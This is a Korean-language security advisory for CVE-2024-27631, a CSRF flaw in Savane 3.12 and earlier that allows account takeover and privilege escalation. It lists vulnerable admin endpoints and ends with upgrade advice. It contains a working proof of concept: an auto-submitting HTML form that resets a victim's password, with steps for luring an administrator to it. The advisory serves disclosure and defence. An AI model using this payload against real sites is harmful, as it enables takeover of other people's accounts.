CVE-2024-27631 취약점 세부 정보

개요

Savane v3.12 및 이전 버전에서는 관리 기능에 CSRF 보호가 없어 권한 상승 및/또는 계정 탈취가 가능합니다. 특히 /siteadmin/usergroup.php 엔드포인트는 다른 사용자의 비밀번호 및 관리자 플래그를 변경하는 기능을 포함하여, 공격자가 스스로 관리자가 될 수 있도록 합니다.

CSRF에 취약한 다른 주요 엔드포인트는 다음과 같습니다:

• /support/admin/userperms.php - 게시판에 글을 작성할 수 있는 사용자의 권한을 변경합니다.
• /project/admin/conf-copy.php - 그룹의 기존 구성을 다른 그룹의 복사본으로 덮어씁니다.
• /project/admin/editgroupnotifications.php - 그룹 알림을 편집합니다. 비공개 항목이 공개 메일링 리스트로 전송될 수 있습니다.
• /project/admin/useradmin.php - 그룹에서 사용자를 삭제합니다.
• /news/admin/index.php - 뉴스 게시판 이메일 주소를 편집합니다.
• /people/editjob.php - 그룹에 작업을 추가합니다.

CWE 분류: CWE-352: 사이트 간 요청 위조(CSRF)

보고자: Ally Petitt

영향을 받는 제품: Savane

영향을 받는 버전: 3.12 및 이전 버전

검증 단계

이는 계정 탈취 경로로 다른 사용자 계정의 비밀번호를 변경하기 위한 개념 증명(PoC)입니다.

1. 비밀번호를 변경할 피해 사용자를 선택합니다.
2. 프로필 페이지(/users/<username>)에서 사용자의 userID를 확인합니다.
3. 다음 악성 웹 페이지를 생성하고, user_id를 피해자의 사용자 ID로, <savane_instance>를 적절한 도메인 이름/호스트 주소로 바꿉니다.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. 악성 HTML 페이지를 웹 서버에 호스팅하고 링크를 관리자에게 보냅니다(이 작업이 작동하려면 관리자가 수퍼유저 모드여야 합니다).
5. 링크를 클릭한 후, 매우 안전한 비밀번호 Password1!로 피해자 계정에 로그인합니다.

이 PoC 스크립트는 Firefox v103.0 (64비트)에서 테스트되었습니다.

완화 조치

Savane 버전 3.13 이상으로 업그레이드하세요. 패치는 여기에서 확인할 수 있습니다.